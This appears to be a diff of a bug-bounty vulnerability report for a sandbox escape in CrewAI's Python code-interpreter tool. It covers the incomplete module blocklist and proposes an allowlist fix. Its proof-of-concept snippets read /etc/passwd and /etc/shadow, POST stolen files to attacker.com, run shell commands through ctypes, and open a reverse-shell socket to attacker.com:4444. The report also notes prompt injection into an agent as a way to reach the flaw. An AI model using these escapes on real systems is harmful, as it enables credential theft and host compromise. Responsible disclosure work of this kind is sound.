Polished report + runnable PoC for huntr submission
Browse files
README.md
CHANGED
|
@@ -1,106 +1,106 @@
|
|
| 1 |
-
# CrewAI SandboxPython Escape β
|
| 2 |
|
| 3 |
## Vulnerability Type
|
| 4 |
-
CWE-693: Protection Mechanism Failure
|
| 5 |
|
| 6 |
## Severity
|
| 7 |
-
Critical
|
| 8 |
|
| 9 |
## Affected Component
|
| 10 |
-
- **
|
|
|
|
| 11 |
- **Class:** `SandboxPython`
|
| 12 |
-
- **
|
| 13 |
-
- **Version:** Latest main branch (verified 2026-03-21)
|
| 14 |
|
| 15 |
## Description
|
| 16 |
|
| 17 |
-
The `CodeInterpreterTool`
|
| 18 |
|
| 19 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 20 |
|
| 21 |
## Proof of Concept
|
| 22 |
|
| 23 |
-
|
|
|
|
|
|
|
| 24 |
```python
|
| 25 |
-
#
|
| 26 |
data = __import__('pathlib').Path('/etc/passwd').read_text()
|
| 27 |
-
print(data)
|
| 28 |
```
|
| 29 |
|
| 30 |
-
### 2
|
| 31 |
```python
|
| 32 |
-
#
|
| 33 |
import http.client
|
| 34 |
conn = http.client.HTTPSConnection("attacker.com")
|
| 35 |
conn.request("POST", "/exfil", body=__import__('pathlib').Path('/etc/passwd').read_text())
|
| 36 |
conn.getresponse()
|
| 37 |
```
|
| 38 |
|
| 39 |
-
### 3
|
| 40 |
```python
|
| 41 |
-
#
|
| 42 |
-
|
| 43 |
-
|
| 44 |
-
s.connect(("attacker.com", 4444))
|
| 45 |
-
# ... standard reverse shell
|
| 46 |
```
|
| 47 |
|
| 48 |
-
### 4
|
| 49 |
```python
|
| 50 |
-
#
|
| 51 |
import ctypes
|
| 52 |
libc = ctypes.CDLL("libc.so.6")
|
| 53 |
libc.system(b"id > /tmp/pwned")
|
| 54 |
```
|
| 55 |
|
| 56 |
-
### 5
|
| 57 |
```python
|
| 58 |
-
#
|
| 59 |
-
import
|
| 60 |
-
|
| 61 |
-
|
| 62 |
-
print(f.read())
|
| 63 |
```
|
| 64 |
|
| 65 |
-
##
|
| 66 |
|
| 67 |
-
The
|
| 68 |
|
| 69 |
-
|
| 70 |
-
|--------|-----------|
|
| 71 |
-
| `pathlib` | Arbitrary file read/write |
|
| 72 |
-
| `socket` | Network connections, reverse shells |
|
| 73 |
-
| `http.client` | HTTP requests, data exfiltration |
|
| 74 |
-
| `urllib.request` | HTTP requests |
|
| 75 |
-
| `ctypes` | Arbitrary C function calls, `system()` |
|
| 76 |
-
| `io` | File I/O (bypasses `open` builtin block) |
|
| 77 |
-
| `signal` | Signal handling manipulation |
|
| 78 |
-
| `code` | Interactive interpreter |
|
| 79 |
-
| `pickle` | Deserialization-based code execution |
|
| 80 |
-
| `multiprocessing` | Process spawning |
|
| 81 |
-
| `threading` | Thread spawning |
|
| 82 |
-
| `asyncio` | Async execution |
|
| 83 |
-
| `xml.etree` | XXE if parsing user XML |
|
| 84 |
-
| `zipfile` | Archive manipulation |
|
| 85 |
-
| `tarfile` | Archive manipulation with path traversal |
|
| 86 |
|
| 87 |
## Impact
|
| 88 |
|
| 89 |
-
An attacker who can
|
| 90 |
-
|
| 91 |
-
1. **Read arbitrary files** β secrets, credentials, SSH keys, environment variables
|
| 92 |
-
2. **Exfiltrate data** β send stolen data to attacker server via HTTP/socket
|
| 93 |
-
3. **Execute arbitrary commands** β via `ctypes.CDLL("libc.so.6").system()`
|
| 94 |
-
4. **Establish persistence** β write files, create cron jobs, install backdoors
|
| 95 |
-
5. **Pivot to infrastructure** β access cloud metadata, internal services
|
| 96 |
-
|
| 97 |
-
## Root Cause
|
| 98 |
|
| 99 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 100 |
|
| 101 |
## Suggested Fix
|
| 102 |
|
| 103 |
-
Switch to an allowlist approach:
|
| 104 |
|
| 105 |
```python
|
| 106 |
ALLOWED_MODULES = {
|
|
@@ -117,4 +117,4 @@ def restricted_import(name, *args, **kwargs):
|
|
| 117 |
return __import__(name, *args, **kwargs)
|
| 118 |
```
|
| 119 |
|
| 120 |
-
Alternatively,
|
|
|
|
| 1 |
+
# CrewAI SandboxPython Escape β Incomplete Blocklist Allows Full RCE
|
| 2 |
|
| 3 |
## Vulnerability Type
|
| 4 |
+
CWE-693: Protection Mechanism Failure
|
| 5 |
|
| 6 |
## Severity
|
| 7 |
+
Critical
|
| 8 |
|
| 9 |
## Affected Component
|
| 10 |
+
- **Package:** `crewai-tools`
|
| 11 |
+
- **File:** `crewai_tools/tools/code_interpreter_tool/code_interpreter_tool.py`
|
| 12 |
- **Class:** `SandboxPython`
|
| 13 |
+
- **Version:** Latest (`main` branch, verified 2026-03-22)
|
|
|
|
| 14 |
|
| 15 |
## Description
|
| 16 |
|
| 17 |
+
The `CodeInterpreterTool` provides a `SandboxPython` class that restricts Python code execution by blocking 9 modules and 10 builtins. The restriction uses a **blocklist** approach β only explicitly listed items are denied.
|
| 18 |
|
| 19 |
+
The blocklist is incomplete. **15 dangerous standard library modules** are not blocked, giving full sandbox escape: arbitrary file read/write, outbound network access, and native code execution.
|
| 20 |
+
|
| 21 |
+
### Blocked (9 modules)
|
| 22 |
+
`os`, `sys`, `subprocess`, `shutil`, `importlib`, `inspect`, `tempfile`, `sysconfig`, `builtins`
|
| 23 |
+
|
| 24 |
+
### Not Blocked (15 modules β each enables escape)
|
| 25 |
+
| Module | Capability |
|
| 26 |
+
|--------|-----------|
|
| 27 |
+
| `pathlib` | Arbitrary file read/write |
|
| 28 |
+
| `socket` | Raw network connections |
|
| 29 |
+
| `http.client` | HTTP requests to any host |
|
| 30 |
+
| `urllib.request` | HTTP requests |
|
| 31 |
+
| `ctypes` | Call any C function (`libc.system()`) |
|
| 32 |
+
| `io` | File I/O β bypasses blocked `open` builtin |
|
| 33 |
+
| `pickle` | Deserialization RCE |
|
| 34 |
+
| `multiprocessing` | Spawn processes |
|
| 35 |
+
| `threading` | Spawn threads |
|
| 36 |
+
| `asyncio` | Async execution |
|
| 37 |
+
| `signal` | Signal manipulation |
|
| 38 |
+
| `code` | Interactive interpreter |
|
| 39 |
+
| `xml.etree.ElementTree` | XML parsing |
|
| 40 |
+
| `zipfile` | Archive manipulation |
|
| 41 |
+
| `tarfile` | Archive extraction with path traversal |
|
| 42 |
|
| 43 |
## Proof of Concept
|
| 44 |
|
| 45 |
+
Run `poc.py` β it reproduces the exact `SandboxPython` class from source, verifies that blocked modules are correctly denied, then demonstrates 5 independent escape paths.
|
| 46 |
+
|
| 47 |
+
### Escape 1: File Read via `pathlib`
|
| 48 |
```python
|
| 49 |
+
# Inside SandboxPython.exec():
|
| 50 |
data = __import__('pathlib').Path('/etc/passwd').read_text()
|
|
|
|
| 51 |
```
|
| 52 |
|
| 53 |
+
### Escape 2: Network Exfiltration via `http.client`
|
| 54 |
```python
|
| 55 |
+
# Inside SandboxPython.exec():
|
| 56 |
import http.client
|
| 57 |
conn = http.client.HTTPSConnection("attacker.com")
|
| 58 |
conn.request("POST", "/exfil", body=__import__('pathlib').Path('/etc/passwd').read_text())
|
| 59 |
conn.getresponse()
|
| 60 |
```
|
| 61 |
|
| 62 |
+
### Escape 3: File I/O via `io` (bypasses blocked `open` builtin)
|
| 63 |
```python
|
| 64 |
+
# 'open' is in UNSAFE_BUILTINS, but io.open is not blocked:
|
| 65 |
+
f = __import__('io').open('/etc/shadow', 'r')
|
| 66 |
+
print(f.read())
|
|
|
|
|
|
|
| 67 |
```
|
| 68 |
|
| 69 |
+
### Escape 4: Native Code Execution via `ctypes`
|
| 70 |
```python
|
| 71 |
+
# Inside SandboxPython.exec():
|
| 72 |
import ctypes
|
| 73 |
libc = ctypes.CDLL("libc.so.6")
|
| 74 |
libc.system(b"id > /tmp/pwned")
|
| 75 |
```
|
| 76 |
|
| 77 |
+
### Escape 5: Reverse Shell via `socket`
|
| 78 |
```python
|
| 79 |
+
# Inside SandboxPython.exec():
|
| 80 |
+
import socket
|
| 81 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 82 |
+
s.connect(("attacker.com", 4444))
|
|
|
|
| 83 |
```
|
| 84 |
|
| 85 |
+
## Root Cause
|
| 86 |
|
| 87 |
+
The sandbox uses a **blocklist** (deny specific modules) instead of an **allowlist** (permit only safe modules). Python's standard library contains hundreds of modules with dangerous capabilities. Blocking 9 while leaving 15+ dangerous ones accessible defeats the purpose of the sandbox.
|
| 88 |
|
| 89 |
+
The sandbox's existence β with its `BLOCKED_MODULES` set, `UNSAFE_BUILTINS` set, and `restricted_import` function β proves the intent was to restrict code execution. The restriction simply doesn't work.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 90 |
|
| 91 |
## Impact
|
| 92 |
|
| 93 |
+
Any code that runs through `CodeInterpreterTool` when Docker execution is unavailable falls back to `SandboxPython.exec()`. An attacker who can influence the code input (via prompt injection into a CrewAI agent, or directly as a tool user) achieves:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 94 |
|
| 95 |
+
1. **Arbitrary file read** β secrets, credentials, SSH keys, environment variables
|
| 96 |
+
2. **Network exfiltration** β send stolen data to attacker server
|
| 97 |
+
3. **Arbitrary command execution** β via `ctypes.CDLL("libc.so.6").system()`
|
| 98 |
+
4. **Process spawning** β via `multiprocessing`
|
| 99 |
+
5. **Full system compromise** β equivalent to unsandboxed `exec()`
|
| 100 |
|
| 101 |
## Suggested Fix
|
| 102 |
|
| 103 |
+
Switch to an **allowlist** approach:
|
| 104 |
|
| 105 |
```python
|
| 106 |
ALLOWED_MODULES = {
|
|
|
|
| 117 |
return __import__(name, *args, **kwargs)
|
| 118 |
```
|
| 119 |
|
| 120 |
+
Alternatively, make Docker-based execution the default and remove the Python-level sandbox entirely.
|